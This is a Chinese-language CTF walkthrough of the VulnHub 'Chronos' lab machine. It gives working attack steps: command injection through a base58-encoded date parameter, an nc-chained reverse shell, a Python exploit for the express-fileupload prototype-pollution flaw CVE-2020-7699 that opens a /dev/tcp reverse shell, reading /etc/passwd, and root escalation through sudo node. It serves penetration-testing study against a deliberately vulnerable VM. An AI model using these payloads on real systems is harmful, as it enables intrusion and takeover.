0x03-VulnHub靶机-Chronos
环境
0x03
靶机地址:https://www.vulnhub.com/entry/chronos-1,735/
靶机用VMware打不开
难度 中
几个符号的区别https://blog.csdn.net/weixin_45459224/article/details/103992087
内容
- js代码混淆还原
- 编码解码 https://gchq.github.io/CyberChef/
- 命令注入 反弹shell
- nc串联
- 代码审计
- 框架漏洞(搜利用代码)
操作
信息收集
常规的主机扫描 端口扫描
nmap -Pn -sT -p80,8000 -sV 192.168.3.92

去访问看看 再扫扫目录
发现个这个 文件遍历 但是没有什么利用的

再看看80的源码 发现有一段js代码 拉出来看 发现是被混淆过的 用这个网站 https://gchq.github.io/CyberChef/ 去还原一下

发现了一个可疑的url地址 http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 直接访问是看不到东西的 想到修改host文件 域名就可以解析了 有些东西就会出来

再次去访问 http://192.168.3.92/ (我谷歌浏览器不显示下面的 火狐可以 )

去访问 http://192.168.3.92:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

发生了变化 用burp抓包看看

这个包也会显示时间那些东西

有点像kali里面的 date

先把format参数后面这段加密的解密出来 base58加密 还是用到上面的那个网站

'+Today is %A, %B %d, %Y %H:%M:%S.' 再结合上面页面的图片 进一步确认是使用了 date命令

我们可以用到 linux语法拼接去执行我们想要去执行的命令
'+Today is %A, %B %d, %Y %H:%M:%S.' | ls 再去进行 base58 encode
真的可以执行命令!

渗透
nc串联
这个时候就可以去反弹shell了 先用命令可看有没有nc &&ls /bin (搞这里的时候 不知道上面毛病 发包卡 后面好了)

再试试nc 可不可以用 然后-e参数行不行 (其实也可以直接一步到胃
&& nc 192.168.3.87 4444 | /bin/bash | nc 192.168.3.87 5555 (&&跟|差不多


代码审计
(其实还有个看看有什么用户的 ) cat /etc/passwd 有/bin/bash的
这个时候我们拿到了个shell了
find / -perm -u=s -type f 2>/dev/null 没发现什么可以利用的suid
sudo -l uname -a 都不好利用提权
这个时候 我们就去翻翻源码 看能不能找到什么别的东西
这是一套由nodejs搭建的网站
看到 app.js 其实他是做了检测的 但是没有后续别的操作了

package.json里面可以看到所使用的库

还看到了一个chronos-v2 也可以去看看

发现 backend后端 frontend 前端

翻到一个上传的点 搭载他服务器的本地的 所以访问不到。

而package.json中多了一个模块,express-fileupload

通过搜索引擎,发现node.js有一个“原型污染“的漏洞,漏洞编号CVE-2020-7699,而这个漏洞的要求是”parseNested”特征为ture,靶机刚好满足这个要求,那么寻找exp
根据实际情况修改修改 (py脚本)
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.3.87/1234 0>&1"'
#pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
#execute command
requests.get('http://127.0.0.1:8080')
再wget下载到本地 wget http://192.168.3.87:8000/shell1.py 下到tmp目录
然后执行(python3)

拿到了另外一个用户
提权
拿到home目录下 imera账号里面的flag

还不是root 试图提到root node有sudo权限

去找利用代码
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

拿到root
总结
每次打靶都会遇到一两点莫名其妙的卡住 操作一样就是复现不了
有的时候常规的提权没思路了 可以去翻翻代码看看 如数据库配置 功能代码 看看能不能进一步利用